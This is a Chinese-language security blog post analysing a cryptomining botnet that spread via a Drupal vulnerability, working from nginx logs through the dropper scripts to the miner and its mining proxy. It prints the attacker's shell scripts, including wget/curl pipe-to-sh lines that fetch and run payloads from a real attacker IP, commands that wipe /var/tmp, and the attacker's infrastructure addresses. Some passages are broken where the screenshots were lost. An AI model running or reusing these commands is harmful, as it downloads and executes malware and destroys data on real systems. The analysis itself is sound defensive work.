行业新闻

利用Drupal漏洞进行传播的挖矿僵尸病毒分析

利用Drupal漏洞进行传播的挖矿僵尸病毒分析

*本文原创作者:cgf99,本文属于FreeBuf原创奖励计划,未经许可禁止转载

一、事件背景

在对服务器进行例行性检查的时候,在一台ngix服务器的日志文件access.log里面发现了一些奇怪的访问记录,如下表所示。备注,这台Ngix 服务器安装windows10企业版操作系统,web服务器是nginx/1.12.2。

来源IP 时间 数据
85.248.227.163 16/Oct/2018:13:14:41 +0800 "POST /?q=user%2Fpassword Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0"
85.248.227.163 16/Oct/2018:13:14:41 +0800 "GET /?q=user%2Fpassword Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0"
85.248.227.163 16/Oct/2018:13:14:43 +0800 "POST /?q=user%2Fpassword WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
85.248.227.165 16/Oct/2018:13:14:47 +0800] "GET /?q=user%2Fpassword WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"  

经过整理,发现上述web访问的命令其实就是下列两行,分别用GET和POST向目标网站进行请求访问。

id0="[[^$I$^]]"

id1="atnd"

ps -fe|grep -v grep | grep -q "`echo $id0`\|`echo $id1`"

if [ $?-ne 0 ];then

wget -O- http://164.132.159.56/drupal/bups.sh|sh ; curl http://164.132.159.56/drupal/bups.jpg|sh ;

else

echo"......."

fi

再次下载bups.sh和bups.jpg文件,其内容是一样的,具体内容如下:

 #!/bin/sh

id0="[[^$I$^]]"

id1="atnd"

id2="ooo"

ps -fe |grep -v grep | grep -q "`echo$id0`\|`echo $id1`"

if [ $? -ne 0 ];then

if [ -x "/var/tmp/" ] then

rm -rf /var/tmp/.*

rm -rf /var/tmp/*

wget -O /var/tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`

curl -o /var/tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`

chmod +x /var/tmp/`echo $id1`

chmod 777 /var/tmp/atnd

/var/tmp/`echo $id1` =1000则不处理,否则杀掉原来设定的病毒进程名字,比如atnd、[^$I$^]。代码如下图所示:

图片.png2.判读目录是否存在可写,下载相应文件到本地并执行:

图片.png

3.网络下载的函数:

图片.png4.定时任务,如果有wget用wget下载命令,否则用curl下载命令。把下载命令用base64编码后,生成定时任务命令。

图片.png5.while循环操作,杀进程,下载执行、sleep:

图片.png

2.lmmml程序

拷贝lmmml到桌面下,直接运行后,发现lmmml其实是一个挖矿程序。

1.进程改名

Lmmml运行后的进程改名为[^$I$^]。

图片.png

图片.png

2.矿池分析

它连接的矿池是:95.179.153.229:7777。

图片.png对其利用IDA反汇编可以看到,其连接的矿池地址有两个,分别是95.179.153.229的7777和80端口。如下图所示:

图片.png

可是,网络抓包发现它登录的挖矿帐号和密码竟然都是设置成x,并没有发送实际的挖矿帐号,很奇怪。

{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"http","algo":["cn","cn/2","cn/1","cn/0","cn/xtl","cn/msr","cn/xao","cn/rto"]}}

浏览器直接访问95.179.153.229的80端口和7777登录,发现返回字符串”Mining Proxy Online”。看来该台服务器是攻击者自架设的一个挖矿代理服务器。同时,在对lmmml静态反汇编分析的时候,发现与此前发现的挖矿代码不同,作者应该是自己重新修改编译了源代码,变化非常大,此前常见的静态字符串都做了处理。

结合挖矿的帐号设置成x,是否有可能是作者自己修改编译了mining-proxy的代码,把所有的被感染机器发送过来的账号x都在proxy端再进行重新设置,然后发送给实际的矿池,从而形成统一挖坑又保护自身挖坑账号的目的,不让分析的人员知道该账户的具体情况(比如实际收益情况等)。

三、结束语

通过上述简单分析,大致可以得出下列结论:

1.该次web服务器的网络异常请求访问应该是一次来自僵尸病毒的自动攻击行为;

2.该僵尸病毒利用Drupal漏洞进行传播;

3.该僵尸病毒已经实施了多波次的感染行动;

4.攻击者主要目的用于挖矿,可根据需要随时更换恶意代码功能文件。至于目前挖矿的账号用x是否如分析的一样有待商榷。

5.攻击者利用的资源比较分散,比如85.248.227.163/85.248.227.164/85.248.227.165三个IP地址用于伪造网站与实施Drupal漏洞攻击,164.132.159.56用于下载攻击脚本文件, 80.240.26.52用于病毒实体文件的下载。

*本文原创作者:cgf99,本文属于FreeBuf原创奖励计划,未经许可禁止转载